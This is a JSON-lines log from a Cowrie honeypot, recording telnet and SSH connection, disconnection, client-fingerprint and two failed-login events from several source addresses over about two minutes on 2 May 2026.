{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60278,"dst_ip":"10.17.0.5","dst_port":23,"session":"767e058b1c8f","protocol":"telnet","message":"New connection: 62.210.97.77:60278 (10.17.0.5:23) [session: 767e058b1c8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:54.353806Z"}
{"eventid":"cowrie.session.closed","duration":37.15501117706299,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:54.668027Z","src_ip":"62.210.97.77","session":"56e3cd663554","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.03204679489136,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:55.377957Z","src_ip":"65.60.27.33","session":"00270ce031cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60294,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b668b39eaf1","protocol":"telnet","message":"New connection: 62.210.97.77:60294 (10.17.0.5:23) [session: 4b668b39eaf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:56.863445Z"}
{"eventid":"cowrie.session.closed","duration":43.50235676765442,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:57.360612Z","src_ip":"38.54.119.93","session":"45965af2951e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.52149939537048,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:57.625453Z","src_ip":"62.210.97.77","session":"67d367e3a8f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60296,"dst_ip":"10.17.0.5","dst_port":23,"session":"036d87c40d8e","protocol":"telnet","message":"New connection: 62.210.97.77:60296 (10.17.0.5:23) [session: 036d87c40d8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:58.000593Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":45184,"dst_ip":"10.17.0.5","dst_port":23,"session":"2004fa9e31f6","protocol":"telnet","message":"New connection: 38.54.119.93:45184 (10.17.0.5:23) [session: 2004fa9e31f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:58.998392Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56856,"dst_ip":"10.17.0.5","dst_port":23,"session":"626b88c79e99","protocol":"telnet","message":"New connection: 62.210.97.77:56856 (10.17.0.5:23) [session: 626b88c79e99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:59.691204Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":43748,"dst_ip":"159.203.135.109","dst_port":23,"session":"26590ba993ab","protocol":"telnet","message":"New connection: 134.209.8.29:43748 (159.203.135.109:23) [session: 26590ba993ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:59.705462Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56868,"dst_ip":"10.17.0.5","dst_port":23,"session":"df99a592787e","protocol":"telnet","message":"New connection: 62.210.97.77:56868 (10.17.0.5:23) [session: df99a592787e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:40:59.773937Z"}
{"eventid":"cowrie.session.closed","duration":36.351558446884155,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:01.404050Z","src_ip":"62.210.97.77","session":"2128fc2a0dff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":43750,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f76d2e2e26d","protocol":"telnet","message":"New connection: 134.209.8.29:43750 (159.203.135.109:23) [session: 4f76d2e2e26d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:01.750822Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56878,"dst_ip":"10.17.0.5","dst_port":23,"session":"255d91463b6f","protocol":"telnet","message":"New connection: 62.210.97.77:56878 (10.17.0.5:23) [session: 255d91463b6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:02.589713Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56882,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc82cd539296","protocol":"telnet","message":"New connection: 62.210.97.77:56882 (10.17.0.5:23) [session: dc82cd539296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:03.019141Z"}
{"eventid":"cowrie.session.closed","duration":43.49076271057129,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:03.487045Z","src_ip":"65.60.27.33","session":"3836b8f320d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":43734,"dst_ip":"159.203.135.109","dst_port":23,"session":"368dca530716","protocol":"telnet","message":"New connection: 134.209.8.29:43734 (159.203.135.109:23) [session: 368dca530716]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:03.947315Z"}
{"eventid":"cowrie.session.closed","duration":0.0051975250244140625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:03.952389Z","src_ip":"134.209.8.29","session":"368dca530716","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":48484,"dst_ip":"10.17.0.5","dst_port":23,"session":"0810885a1fe4","protocol":"telnet","message":"New connection: 38.54.119.93:48484 (10.17.0.5:23) [session: 0810885a1fe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:05.089671Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56884,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ae4e4b22431","protocol":"telnet","message":"New connection: 62.210.97.77:56884 (10.17.0.5:23) [session: 9ae4e4b22431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:05.876306Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56900,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c72e7eb5dc6","protocol":"telnet","message":"New connection: 62.210.97.77:56900 (10.17.0.5:23) [session: 9c72e7eb5dc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:06.069968Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":43048,"dst_ip":"10.17.0.5","dst_port":23,"session":"1df6f30ffe03","protocol":"telnet","message":"New connection: 165.232.131.181:43048 (10.17.0.5:23) [session: 1df6f30ffe03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:06.450076Z"}
{"eventid":"cowrie.session.closed","duration":1.8601806163787842,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:06.949637Z","src_ip":"38.54.119.93","session":"0810885a1fe4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.967294454574585,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:07.430391Z","src_ip":"62.210.97.77","session":"b57f75eaeb93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":53566,"dst_ip":"10.17.0.5","dst_port":23,"session":"772f626ecbd3","protocol":"telnet","message":"New connection: 65.60.27.33:53566 (10.17.0.5:23) [session: 772f626ecbd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:08.715310Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":39944,"dst_ip":"10.17.0.5","dst_port":22,"session":"05d54ced7134","protocol":"ssh","message":"New connection: 187.16.96.250:39944 (10.17.0.5:22) [session: 05d54ced7134]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:08.923670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:08.928078Z","src_ip":"187.16.96.250","session":"05d54ced7134","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:09.044108Z","src_ip":"187.16.96.250","session":"05d54ced7134","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":53390,"dst_ip":"10.17.0.5","dst_port":23,"session":"0702707e2ffa","protocol":"telnet","message":"New connection: 65.60.27.33:53390 (10.17.0.5:23) [session: 0702707e2ffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:09.447186Z"}
{"eventid":"cowrie.login.failed","username":"ts","password":"test","message":"login attempt [ts/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:09.539950Z","src_ip":"187.16.96.250","session":"05d54ced7134","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.405380725860596,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:10.052844Z","src_ip":"165.232.131.181","session":"66702b1e1a78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:10.662686Z","src_ip":"187.16.96.250","session":"05d54ced7134","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.80574107170105,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:12.004703Z","src_ip":"165.232.131.181","session":"e1cf9c0a470d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":57740,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f00be72dbe6","protocol":"telnet","message":"New connection: 65.60.27.33:57740 (10.17.0.5:23) [session: 2f00be72dbe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:12.473380Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":45070,"dst_ip":"10.17.0.5","dst_port":23,"session":"5dbec6a58993","protocol":"telnet","message":"New connection: 165.232.131.181:45070 (10.17.0.5:23) [session: 5dbec6a58993]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:12.654931Z"}
{"eventid":"cowrie.session.closed","duration":32.203633069992065,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:13.370960Z","src_ip":"62.210.97.77","session":"69dbf20032dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.15607309341431,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:13.854941Z","src_ip":"62.210.97.77","session":"4e4e1080aa0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.765928745269775,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:15.212990Z","src_ip":"65.60.27.33","session":"0702707e2ffa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51322,"dst_ip":"10.17.0.5","dst_port":23,"session":"af2ffb52af13","protocol":"telnet","message":"New connection: 62.210.97.77:51322 (10.17.0.5:23) [session: af2ffb52af13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:17.600619Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51332,"dst_ip":"10.17.0.5","dst_port":23,"session":"faba00360190","protocol":"telnet","message":"New connection: 62.210.97.77:51332 (10.17.0.5:23) [session: faba00360190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:17.936864Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51346,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a2a77bf90d5","protocol":"telnet","message":"New connection: 62.210.97.77:51346 (10.17.0.5:23) [session: 4a2a77bf90d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:17.954602Z"}
{"eventid":"cowrie.session.closed","duration":47.875812292099,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:19.547254Z","src_ip":"65.60.27.33","session":"60440360011e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.147759675979614,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:19.866483Z","src_ip":"65.60.27.33","session":"966f75e121bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36506,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b0ac74f92cc","protocol":"telnet","message":"New connection: 62.210.97.77:36506 (10.17.0.5:23) [session: 6b0ac74f92cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:20.276897Z"}
{"eventid":"cowrie.session.closed","duration":39.33365559577942,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:20.895859Z","src_ip":"62.210.97.77","session":"4ad301684345","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36512,"dst_ip":"10.17.0.5","dst_port":23,"session":"424df624fbe9","protocol":"telnet","message":"New connection: 62.210.97.77:36512 (10.17.0.5:23) [session: 424df624fbe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:21.730802Z"}
{"eventid":"cowrie.session.closed","duration":45.43792200088501,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:22.633732Z","src_ip":"165.232.131.181","session":"32404d3c1f11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36520,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b91e8edbbc5","protocol":"telnet","message":"New connection: 62.210.97.77:36520 (10.17.0.5:23) [session: 1b91e8edbbc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:23.788313Z"}
{"eventid":"cowrie.session.connect","src_ip":"156.232.13.218","src_port":55506,"dst_ip":"10.17.0.5","dst_port":22,"session":"970aa60e9ebc","protocol":"ssh","message":"New connection: 156.232.13.218:55506 (10.17.0.5:22) [session: 970aa60e9ebc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:24.362145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:24.366952Z","src_ip":"156.232.13.218","session":"970aa60e9ebc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:24.440296Z","src_ip":"156.232.13.218","session":"970aa60e9ebc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"!QAZ2wsx#EDC","message":"login attempt [test/!QAZ2wsx#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:24.767266Z","src_ip":"156.232.13.218","session":"970aa60e9ebc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.65318441390991,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:25.001266Z","src_ip":"62.210.97.77","session":"5797bbcd28d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:25.842721Z","src_ip":"156.232.13.218","session":"970aa60e9ebc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36528,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c399ea299ff","protocol":"telnet","message":"New connection: 62.210.97.77:36528 (10.17.0.5:23) [session: 2c399ea299ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:27.428464Z"}
{"eventid":"cowrie.session.closed","duration":44.9360568523407,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:29.219551Z","src_ip":"65.60.27.33","session":"5859526151ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":48860,"dst_ip":"10.17.0.5","dst_port":23,"session":"11a5cbd2a705","protocol":"telnet","message":"New connection: 65.60.27.33:48860 (10.17.0.5:23) [session: 11a5cbd2a705]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:29.224663Z"}
{"eventid":"cowrie.session.closed","duration":45.722259521484375,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:29.243054Z","src_ip":"38.54.119.93","session":"1d0967319beb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.482980489730835,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:29.287473Z","src_ip":"134.209.8.29","session":"5abc5798bf52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":49040,"dst_ip":"10.17.0.5","dst_port":23,"session":"47ab204fd8a1","protocol":"telnet","message":"New connection: 65.60.27.33:49040 (10.17.0.5:23) [session: 47ab204fd8a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:29.456707Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":48142,"dst_ip":"10.17.0.5","dst_port":23,"session":"320b8dd2c6ea","protocol":"telnet","message":"New connection: 65.60.27.33:48142 (10.17.0.5:23) [session: 320b8dd2c6ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:29.873724Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":50138,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b89c61f6e0c","protocol":"telnet","message":"New connection: 165.232.131.181:50138 (10.17.0.5:23) [session: 7b89c61f6e0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:30.477631Z"}
{"eventid":"cowrie.session.closed","duration":45.74191689491272,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:30.734443Z","src_ip":"165.232.131.181","session":"322bf2e73037","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33370,"dst_ip":"10.17.0.5","dst_port":23,"session":"119a01ea8dc9","protocol":"telnet","message":"New connection: 62.210.97.77:33370 (10.17.0.5:23) [session: 119a01ea8dc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:31.618101Z"}
{"eventid":"cowrie.session.closed","duration":34.76877808570862,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:31.632091Z","src_ip":"62.210.97.77","session":"4b668b39eaf1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.91876435279846,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:32.272460Z","src_ip":"62.210.97.77","session":"767e058b1c8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":50974,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a5b31d9f4ff","protocol":"telnet","message":"New connection: 165.232.131.181:50974 (10.17.0.5:23) [session: 4a5b31d9f4ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:32.468862Z"}
{"eventid":"cowrie.session.closed","duration":34.487054109573364,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:34.260868Z","src_ip":"62.210.97.77","session":"df99a592787e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.685959339141846,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:34.686414Z","src_ip":"62.210.97.77","session":"036d87c40d8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.15032982826233,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:34.841384Z","src_ip":"62.210.97.77","session":"626b88c79e99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":52046,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9a699e8204c","protocol":"telnet","message":"New connection: 165.232.131.181:52046 (10.17.0.5:23) [session: f9a699e8204c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:34.901020Z"}
{"eventid":"cowrie.session.closed","duration":34.414180517196655,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:37.433227Z","src_ip":"62.210.97.77","session":"dc82cd539296","protocol":"telnet"}
